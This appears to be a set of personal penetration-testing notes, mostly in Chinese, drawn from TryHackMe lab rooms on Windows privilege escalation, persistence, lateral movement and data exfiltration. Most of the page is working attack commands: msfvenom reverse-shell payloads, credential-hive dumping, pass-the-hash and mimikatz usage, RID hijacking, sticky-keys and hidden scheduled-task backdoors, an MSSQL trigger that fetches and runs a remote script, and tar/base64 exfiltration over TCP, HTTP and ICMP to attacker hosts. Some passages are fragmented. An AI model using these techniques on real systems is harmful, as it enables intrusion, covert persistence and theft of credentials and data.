https://docs.metasploit.com/docs/pentesting/metasploit-guide-upgrading-shells-to-meterpreter.html
1 |
|
/opt/metasploit-framework/embedded/framework/modules
1 |
|
info
back
background
searh
use
unset #消除指定参数
unset all #全部参数清除
setg #设置所有模块的值
exploit -z #扫漏洞并进入后台
1 |
|
getpid 查看msf的pid
ps 看到的是spoolsv.exe
tasklist /m /fi “pid eq 1304”
查看 Meterpreter 进程(本例中为PID 1304)使用的 DLL(动态链接库),我们仍然找不到任何东西(例如没有 meterpreter.dll)
1 |
|
msfvenom –list payloads | grep meterpreter
1 |
|
https://tryhackme.com/r/room/introtoc2
1 |
|
msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe
1 |
|
位置/etc/apache2/sites-available/000-default.conf
cat /etc/apache2/sites-available/000-default.conf | grep -v ‘#’
内容
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory>
AllowOverride All
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
修改为
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
ProxyPass "/" "http://localhost:8080/"
<Directory>
AllowOverride All
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
1 |
|
1 |
|
1 |
|
快速查找
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
1 |
|
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f “Proxy” /s
1 |
|
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
1 |
|
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.0.87 LPORT=4444 -f msi -o malicious.msi
1 |
|
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
1 |
|
cd C:\PROGRA2\SYSTEM1\
move WService.exe WService.exe.bkp
把原来的服务挪掉
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
替换
icacls WService.exe /grant Everyone:F
向Everyone组授予权限
重启服务在正常情况下,您可能需要等待服务重新启动,但您已被分配权限自行重新启动服务以节省一些时间。从 cmd.exe 命令提示符中使用以下命令:
C:> sc stop windowsscheduler
C:> sc start windowsscheduler
1 |
|
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
1 |
|
C:> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
挪地方
C:> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
开权限
1 |
|
C:> sc stop “disk sorter enterprise”
C:> sc start “disk sorter enterprise”
1 |
|
wget http://10.9.0.87:8080/rev-svc.exe -O rev-svc.exe
1 |
|
C:> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
1 |
|
C:> sc config THMService binPath= “C:\Users\thm-unpriv\rev-svc3.exe” obj= LocalSystem
1 |
|
C:> sc stop THMService
C:> sc start THMService
1 |
|
copy C:\Users\THMBackup\sam.hive \ATTACKER_IP\public
copy C:\Users\THMBackup\system.hive \10.9.0.87\public\
1 |
|
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
1 |
|
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.128.56
1 |
#!/usr/bin/env python
#smbserver.py
Impacket - Collection of Python classes for working with network protocols.
Copyright (C) 2022 Fortra. All rights reserved.
This software is provided under a slightly modified version
of the Apache Software License. See the accompanying LICENSE file
for more information.
Description:
Simple SMB Server example.
Author:
Alberto Solino (@agsolino)
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
if name == ‘main‘:
# Init the example's logger theme
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
"share specified as an argument. You need to be root in order to bind to port 445. "
"For optional authentication, it is possible to specify username and password or the NTLM hash. "
"Example: smbserver.py -comment 'My share' TMP /tmp")
parser.add_argument('shareName', action='store', help='name of the share to add')
parser.add_argument('sharePath', action='store', help='path of the share to add')
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
parser.add_argument('-username', action="store", help='Username to authenticate clients')
parser.add_argument('-password', action="store", help='Password for the Username')
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception as e:
logging.critical(str(e))
sys.exit(1)
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if options.comment is None:
comment = ''
else:
comment = options.comment
server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
# connections will be allowed
if options.username is not None:
# we either need a password or hashes, if not, ask
if options.password is None and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
# Let's convert to hashes
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
elif options.password is not None:
lmhash = compute_lmhash(options.password)
nthash = compute_nthash(options.password)
else:
lmhash, nthash = options.hashes.split(':')
server.addCredential(options.username, 0, lmhash, nthash)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')
# Rock and roll
server.start()
1 |
|
每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用 SYSTEM 权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,该服务只是一个公开 Powershell 控制台的端口,可通过网络远程使用。可以将其视为SSH,但使用的是 Powershell。
1 |
|
Druva inSync 6.6.3
1 | $ErrorActionPreference = "Stop" |
权限维持
思路表
- 为低等用户提高权限
- 分到管理员组
- 添加到备份操作员组
- 特殊权限和安全描述
- 对于备份操作员组,默认分配有两个权限,将新用户写入权限文件并投入使用
- RID劫持
- 文件target修改
- 改为ps1文件藏码,用powershell使用,换图标
- 将已有windows文件msf生成一个带码的
- 劫持关联文件
- 写入注册表,里面指向ps1
- 后门服务
- 新建服务
- 修改已有停用服务
- 计划任务
- 多少分钟执行一次
- 删除SD去隐藏
- 多少分钟执行一次
- 开机自启
- 写入自启动文件夹
- 写入run
- Winlogon指向后边添加东西
- hell
和都
Userinit`可以在现实世界场景中实现持久性
- hell
- 写脚本
- userinit指向这个东西environment
- 登录屏幕/rdp后门
- web界面码
- 数据库码
- 粘滞键
- Utilman
- 登陆界面的辅助小圈
分配群组成员资格
直接分到管理员权限组
1 | C:\> net localgroup administrators thmuser0 /add |
添加到备份操作员组
(有读取/写入 系统文件和注册表,忽略任何配置的DACL,可以去复制sam和system
1 | C:\> net localgroup "Backup Operators" thmuser1 /add |
但是没有远程桌面RDP或远程管理用户WinRM组,无法远程连接
1 | C:\> net localgroup "Remote Management Users" thmuser1 /add |
WinRM连接如下↓
1 | evil-winrm -i 10.10.44.235 -u thmuser1 -p Password321 |
whoami /groups出现以下提示
1 | BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only |
由于用户帐户控制 ( UAC ) 造成的。UAC实现 的功能之一LocalAccountTokenFilterPolicy会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以通过 UAC 从图形用户会话提升您的权限(在此处阅读有关 UAC的更多信息),但如果您使用的是 WinRM,您将被限制在有限的访问令牌中,没有管理权限。
修改注册表禁用LocalAccountTokenFilterPolicy
1 | C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 |
WinRM远连接,然后下载sam和system,特别慢,用kali特别慢,换成他提供的攻击机,然后共享文件夹传输失败
1 | reg save hklm\system system.bak |
1 | https://github.com/fortra/impacket/blob/master/examples/secretsdump.py |
用脚本解密,kali环境不能跑
1 | python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL |
传递hash函数攻击受害机
1 | evil-winrm -i 10.10.44.235 -u Administrator -H f3118544a831e728781d780cfdb9c1fa |
用hash桌面连接
1 | xfreerdp /v:10.10.44.235 /u:Administrator /pth:f3118544a831e728781d780cfdb9c1fa |
被阻止,不让登录
报错如下,密码为空,写个密码
1 | Account restrictions are preventing this user from signing in. For example: blank |
- 查看锁定状态
1 | Get-LocalUser -Name "username" | Select-Object Name,Enabled |
被锁的话打开
1 | Enable-LocalUser -Name "username" |
- 如果账户密码为空,设置密码
1 | Set-LocalUser -Name "Administrator" -Password (ConvertTo-SecureString "NewPassword123" -AsPlainText -Force) |
特殊权限和安全描述
对于备份操作员组,其默认分配有以下两个权限:
SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何现有的DACL 。
SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何现有的DACL 。
将当前配置文件导出
1 | secedit /export /cfg config.inf |
我们打开文件并将我们的用户添加到有关 SeBackupPrivilege 和 SeRestorePrivilege 的配置行中:
将.inf文件著那位.sdb文件,用该文件配置加载回系统
1 | secedit /import /cfg config.inf /db config.sdb |
打开WinRM配置窗口,为其分配 WinRM 的全部权限
1 | Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI |
下边这个图片是初始的,要先为其add个用户,然后+全部控制权限
请注意,要使该用户充分使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,前面说了,看前面
显示报错就退出重新进去以下
RID劫持
创建用户时,会为其分配一个称为**相对 ID (RID)**的标识符。RID 只是一个代表整个系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以让 Windows 通过将相同的 RID 关联到两个帐户来为非特权用户分配管理员访问令牌。
在任何 Windows 系统中,默认管理员帐户都被分配了RID = 500,而普通用户的RID 通常为 >= 1000。
查看用户RID
- wmic useraccount get name,sid
RID 是 SID 的最后一位(1010 表示 thmuser3,500 表示管理员)。SID 是一个标识符,它允许操作系统跨域识别用户
编写注册表,需要system权限,administrator都不行
1 | C:\tools\pstools> PsExec64.exe -i -s regedit |
从 Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\
计算机中每个用户对应的键。由于我们要修改 thmuser3,因此我们需要搜索一个键,其 RID 为十六进制 (1010 = 0x3F2)。在相应的键下,将有一个名为F的值,它在位置 0x30 处保存用户的有效 RID:
F2 03 (1010)改为 F4 01 (500)
登不进去就加入远程管理组
再进不去直接去拿flag,能拿到
后门文件
可执行文件puttyX.exe
1 | msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe |
快捷方式
命名为ps1文件,powershell脚本
1 | Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.9.0.87 4445" |
将clac的target修改为
1 | powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 |
kali监听就行
劫持关联文件
位于注册表
1 | HKLM\Software\Classes\ |
直接检查子.txt
键并找到与其关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将获得以下 ProgID:
然后会出现,下边第一个选错了,整第二个去
或者
利用方法
写个2.ps1
1 | Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448" |
注册表里面改成
1 | powershell.exe -WindowStyle hidden C:\flags\2.ps1 %1 |
当你尝试打开 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1
,其中%1
代表打开的文件的名称。
创建一个具有以上内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1
后门服务
创建新服务
重置管理员密码自启动服务
1 | sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto |
注意:每个等号后面必须有一个空格才能使命令起作用。
msf生成个码,
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe |
将服务改为
1 | sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto |
下载
1 | wget http://10.9.0.87:8080/rs.exe -O rs.exe |
,开始服务
1 | sc.exe create THMservice2 binPath= "C:\flags\rs.exe" start= auto |
修改现有服务
但蓝队可能会监控整个网络的新服务创建。我们可能希望重用现有服务,而不是创建一个服务以避免被发现。通常,任何禁用的服务都是不错的选择,因为它可以在用户不知情的情况下被更改。
获取可用服务列表
1 | sc.exe query state=all |
名为 THMService3 的已停止服务。要查询该服务的配置,
1 | sc.exe qc THMService3 |
生成码,然后修改配置
1 | sc.exe config THMservice3 binPath= "C:\flags\rs.exe" start= auto obj= "LocalSystem" |
计划任务
任务计划程序
每分钟运行一次反向 shell 的任务。
1 | schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.9.0.87 4446" /ru SYSTEM |
/sc
和/mo
选项表示该任务应每分钟运行一次。/ru
选项表示该任务将以 SYSTEM 权限运行。
检查任务是否创建完成
1 | schtasks /query /tn thm-taskbackdoor |
kali监听
让任务不可见
安全描述符 (SD)
1 | 所有计划任务的安全描述符都存储在 中HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\。您将为每个任务找到一个注册表项,该项下名为“SD”的值包含安全描述符。只有拥有 SYSTEM 权限才能删除该值。 |
让psexec以system权限开计划任务
1 | c:\tools\pstools\PsExec64.exe -s -i regedit |
1 | Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackdoor 安全标识符删掉 |
再次查找服务就会找不到,但是反弹的shell仍然能接收到
1 | schtasks /query /tn thm-taskbackdoor |
登录触发持久型
启动文件夹
生成码
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe |
1 | wget http://10.9.0.87:8080/exe4450.exe -O exe4450.exe |
1 | copy exe4450.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" |
登出去,重新远程连接,弹回shell
写入注册表run
类型REG_EXPAND_sz
1 | Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
您还可以通过注册表强制用户在登录时执行程序。您可以使用以下注册表项来指定登录时要运行的应用程序,而不是将有效负载传递到特定目录中:
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
下的注册表项HKCU
仅适用于当前用户,下的注册表项HKLM
适用于所有人。Run
键下指定的任何程序将在用户每次登录时运行。RunOnce
键下指定的程序只会执行一次。
Winlogon操作系统
1 | Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ |
Userinit指向userinit.exe,它负责恢复您的用户配置文件偏好设置。
shell指向系统的shell,通常是explorer.exe。
shell
和都Userinit
可以在现实世界场景中实现持久性,
这里使用Userinit
1 | ,后面加上C:\Windows\exe4450.exe |
登录脚本
注意:仅适用于当前用户
1 | Environment |
要为用户创建环境变量,您可以转到HKCU\Environment
注册表中。我们将使用该UserInitMprLogonScript
条目指向我们的有效负载,以便在用户登录时加载它:
1 | 放入码的地址就ok了 |
1 | reg add hkcu\Environment /t REG_EXPAND_SZ /v UserInitMprLogonScript /d C:\Windows\exe4450.exe |
登录屏幕/rdp后门
粘滞键
按SHIFT
5 次
1 | takeown /f c:\Windows\System32\sethc.exe |
Utilman
1 | takeown /f c:\Windows\System32\utilman.exe |
web后门
aspx码连接
1 | https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx |
1 | move shell.aspx C:\inetpub\wwwroot\ |
mysql留码
1 | 启用xp_cmdshell存储过程。xp_cmdshell是任何 MSSQL 安装中默认提供的存储过程,允许您直接在系统的控制台中运行命令,但默认情况下处于禁用状态。 |
开放xp_cmdshell
1 | sp_configure 'Show Advanced Options',1; |
我们必须确保任何访问数据库的网站都可以运行xp_cmdshell
。默认情况下,只有具有sysadmin
角色的数据库用户才能执行此操作。由于预计 Web 应用程序将使用受限数据库用户,因此可以向所有用户授予权限以模拟该sa
用户,即默认数据库管理员
1 | USE master |
切换到数据库HRDB
1 | USE HRDB |
我们的触发器将利用xp_cmdshell
执行 Powershell 从攻击者控制的 Web 服务器下载并运行.ps1
文件。触发器将配置为 在数据库表INSERT
中创建以下内容时执行:Employees``HRDB
1 | CREATE TRIGGER [sql_backdoor4] |
现在后门已经设置好了,让我们evilscript.ps1
在攻击者的机器中创建一个包含 Powershell 反向 shell 的机器:
1 | $client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454); |
执行插入语句的时候将会进行
横向移动
思路表
- 远程生成进程(已知管理员账号密码),submit传码(利用管理员凭证),再用runas生成新凭证去操作
- psexec
- 需要管理员
- winrm
- 需要远程管理组
- sc.exe
- 需要管理员
- 利用服务关联传上去的文件
- psexec
- wmic,powershell登录wmic,传码,监听
- 创建远程服务
- 创建远程进程
- 创建计划任务
- 安装msi包
- 调用Win32_Product 类的 Install 方法来触发有效负载
- 有效身份替换
- 拿mimikatz打pth
- 滥用用户
- 共享文件可改,留后门
- RDP会话劫持(拿psexec
- 端口转发
- 远程攻击
1远程生成进程
psexec
- 所需组成员身份:管理员
1 | psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe |
原理
- 连接到 Admin$ 共享并上传服务二进制文件。Psexec 使用 psexesvc.exe 作为名称。
- 连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将服务二进制文件与关联
C:\Windows\psexesvc.exe
。 - 创建一些命名管道来处理 stdin/stdout/stderr。
WinRM
- 所需组成员身份:远程管理用户
做法
1 | winrs.exe -u:Administrator -p:Mypass123 -r:target cmd |
1 | $username = 'Administrator'; |
1 | Enter-PSSession -Computername TARGET -Credential $credential |
1 | Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami} |
sc.exe
- 所需组成员身份:管理员
- 不允许我们在命令中指定凭据
使用以下命令创建并启动名为“THMservice”的服务
1 | sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto |
要停止并删除该服务,我们可以执行以下命令:
1 | sc.exe \\TARGET stop THMservice |
远程创建计划任务
1 | schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 |
我们将计划类型 (/sc) 设置为 ONCE,这意味着该任务只在指定的时间和日期运行一次。由于我们将手动运行该任务,因此开始日期 (/sd) 和开始时间 (/st) 并不重要。
由于系统将运行计划的任务,因此我们无法获得该命令的输出,这是一种盲目攻击。
最后,要删除计划任务,我们可以使用以下命令并自行清理:
1 | schtasks /S TARGET /TN "THMtask1" /DELETE /F |
开始
1 | echo "10.200.100.101 " | sudo tee - a /etc/hosts |
配置
- 先下载network的openvpn用上
- 把dc的域控换dns上
- nm-connection-editor
- /etc/resolv.conf加个dc的nameserver
- 检测
- ifconfig lateralmovement
连接
1 | ssh ZA\\tony.holland@thmjmp2.za.tryhackme.com |
是假设你有凭证的话能上传
1 | smbclient -c 'put 1qa.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever |
再用刚才web页面生成凭证和给的凭证生成一个
1 | runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.98.75 4443" |
利用生成的凭证去sc远程创建新服务关联刚才传上去的文件
1 | sc.exe \\thmiis.za.tryhackme.com create THMservice-9963 binPath= "%windir%\1qa.exe" start= auto |
1 | sc.exe \\thmiis.za.tryhackme.com start THMservice-9963 |
2wmic
生成msi码
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > 1qa.msi |
开启监听
1 |
上传
1 | smbclient -c 'put 1qa.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994 |
将有效载荷复制到了 ADMIN$ 共享,因此它将在服务器上的 C:\Windows\ 中可用。
让我们从 Powershell 控制台针对 THMIIS启动WMI会话:
1 | PS C:\> $username = 't1_corine.waters'; |
调用Win32_Product类的install方法来触发有效负载
1 | Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\1qa.msi"; Options = ""; AllUsers = $false} |
3替代身份验证
原理
1 | 使用您的SSH会话,使用 mimikatz 提取身份验证材料并针对域用户执行传递哈希、传递票证或传递密钥t1_toby.beck。 |
mimikatz
1 | privilege::debug |
token::revert
重新建立过我们原始的令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。
执行 PtH 攻击
1 | sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.98.75 5556" |
然后去tools里面
1 | winrs.exe -r:THMIIS.za.tryhackme.com cmd |
kerberos票据获取
1 | #先提权 |
kerberos从内存获取
1 | privilege::debug |
根据密码执行命令
rc4
1 | mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" |
aes128
1 | mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" |
AES256
1 | mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" |
pth攻击
rdp连接
1 | xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH |
psexec
1 | psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP |
WinRM
1 | evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH |
4滥用用户
RDP劫持
用管理员权限开
1 | PsExec64.exe -s cmd.exe |
查看会话
1 | query user |
接管会话
1 | tscon 3 /dest:rdp-tcp#6 |
共享文件可写
.vbs
1 | CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True |
这会将 nc64.exe 从共享复制到用户的工作站%tmp%
目录,并在用户打开共享的 VBS 脚本时将反向 shell 发送回攻击者。
.exe文件后门你
1 | msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe |
5端口转发
远程端口转发
1 | ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N |
tunneluser
不允许在攻击者电脑上运行 shell,我们需要ssh
使用-N
开关以阻止客户端请求,否则连接将立即退出。-R
switch 用于请求远程端口转发
一旦我们的隧道设置并运行,我们就可以进入攻击者的机器并通过RDP进入转发端口来到达服务器:
1 | munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword |
本地端口转发
从攻击者的机器转发端口 80 并使其在 PC-1 上可用,我们可以在 PC-1 上运行以下命令
1 | C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N |
使用-L
本地端口转发选项。此选项要求我们指示 PC-1 用于接收连接的本地套接字 ( *:80
) 以及从攻击者的 PC 角度要连接的远程套接字 ( 127.0.0.1:80
)。
注我们在第二个套接字中使用 IP 地址 127.0.0.1,因为从攻击者的 PC 角度来看,这是持有要转发的端口 80 的主机。
由于我们在 PC-1 上打开了一个新端口,因此我们可能需要添加防火墙规则以允许传入连接(使用dir=in
)。此操作需要管理权限:
1 | netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80 |
socat 进行端口转发
在主机上打开端口 1234 并将我们在那里收到的任何连接转发到主机 1.1.1.1 上的端口 4321,
1 | socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321 |
这fork
选项允许 socat 为每个收到的连接派生一个新进程,从而可以处理多个连接而无需关闭。如果不包含它,socat 将在第一个连接完成时关闭。
如果我们想使用 PC-1 作为枢纽访问服务器上的端口 3389,就像我们使用SSH远程端口转发一样,我们可以使用以下命令:
1 | C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389 |
实践
一有账号密码远程连接
1 | C:\tools\socat\>socat TCP4-LISTEN:4496,fork TCP4:THMIIS.za.tryhackme.com:3389 |
1 | xfreerdp /v:THMJMP2.za.tryhackme.com:4496 /u:t1_thomas.moore /p:MyPazzw3rd2020 |
二Rejetto HFS
ssh隧道
1 | C:\> ssh tunneluser@10.50.98.75 -R 8888:thmdc.za.tryhackme.com:80 -L *:6609:127.0.0.1:6609 -L *:7809:127.0.0.1:7809 -N |
1 | use rejetto_hfs_exec |
报错ssh22端口连不上
1 | sudo systemctl status ssh |
数据泄露
思路表
tcp套接字
- nc监听
- 直接把数据丢到监听端口
- 加密发送,看的时候解密
ssh连接
- 传数据的换成ssh
- 相当于远程连接,然后把文件丢进去
http连接
- 一种是在服务器上开个web服务接收文件
- 搭建http隧道(用的regeorg)
- 把码传到目标服务器,然后连接
icmp连接
- ping的时候带上数据,
- 工具用
- icmpdoor
- msf
dns连接,得有域名
- dns隧道
- dns脚本
- 放在txt里让受害者执行
- dns传数据
- 放在子域名上边,单个包255个字符
上工具scp
scp -i /root/.ssh/id_rsa -P 32425 /home/kali/Desktop/JNDIMap-0.0.1.jar mysid@node1.hgame.vidar.club:/tmp #传文件 scp -r /root/.ssh/id_rsa -P 32425 mysid@mysid@node1.hgame.vidar.club:/app/app.jar ./app.jar #从服务器考文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
### 主要用例场景
1. 传统数据泄露
- 服务器自己往外传的
- 发送和接收流量会朝一个方向进行?
2. c2通信
3. 隧道
- 建立连接时将有连续的流量发送和接收。
### tcp套接字进行渗透
,前一个开监听,一个一个往外传
- 监听
- nc -lvp 8080 > /tmp/task4-creds.data
- 传
- tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
- 我们使用 tar命令并使用秘密目录内容的zcf 参数创建一个存档文件 。
- z 表示 使用gzip压缩选定的文件夹, c 表示创建新的存档, f表示使用存档文件。
- 然后,我们将创建的 tar 文件传递给 base64 命令,将其转换为 base64 表示形式。
- 然后,我们传递 base64 命令的结果,使用 EBCDIC 编码数据通过 dd 命令创建并复制备份文件。
- 最后,我们重定向 dd命令的输出,使用指定 IP 和端口(在本例中为端口8080) 上的 TCP 套接字进行传输 。
- 收到编码转换+解压
- dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
- tar xvf task4-creds.tar
- 直接看
- cat task4/creds.txt
### ssh进行渗透
跟上面差不多,再多个ssh连接顺便把文件带上
- tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
### HTTP(S)进行渗透
apache2日志文件
/var/log/apache2/access.log
1 |
|
传文件
curl –data “file=$(tar zcf - task6 | base64)” http://web.thm.com/contact.php
tar zcf - app | base64 > tmp.txt curl --data "file=$(cat tmp.txt)" http://123.56.226.71/1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
- curl --data-binary @tmp.txt http://123.56.226.71/1.php
- 修复文件
- sudo sed -i 's/ /+/g' /tmp/http.bs64
- 解密文件
- cat /tmp/http.bs64 | base64 -d | tar xvfz -
#### HTTP隧道2
利用工具,往web服务上传码
利用工具进行连接**Neo-reGeorg**
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py generate -k thm
#生成码
#连接
python3 neoreg.py -k thm -u http://10.10.193.228/uploader/files/tunnel.php
#使用与测试
curl –socks5 127.0.0.1:1080 http://172.20.0.121:80
1 |
|
echo “thm:tryhackme” | xxd -p
#信息转为16进制
ping 10.10.193.228 -c 1 -p 74686d3a7472796861636b6d650a
#发送16进制
ping 10.10.193.228 -c 1
#-c 1是发送一个包
1 |
|
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run
1 |
|
sudo nping –icmp -c 1 ATTACKBOX_IP –data-string “BOFfile.txt”
1 |
|
sudo nping –icmp -c 1 ATTACKBOX_IP –data-string “admin:123456”
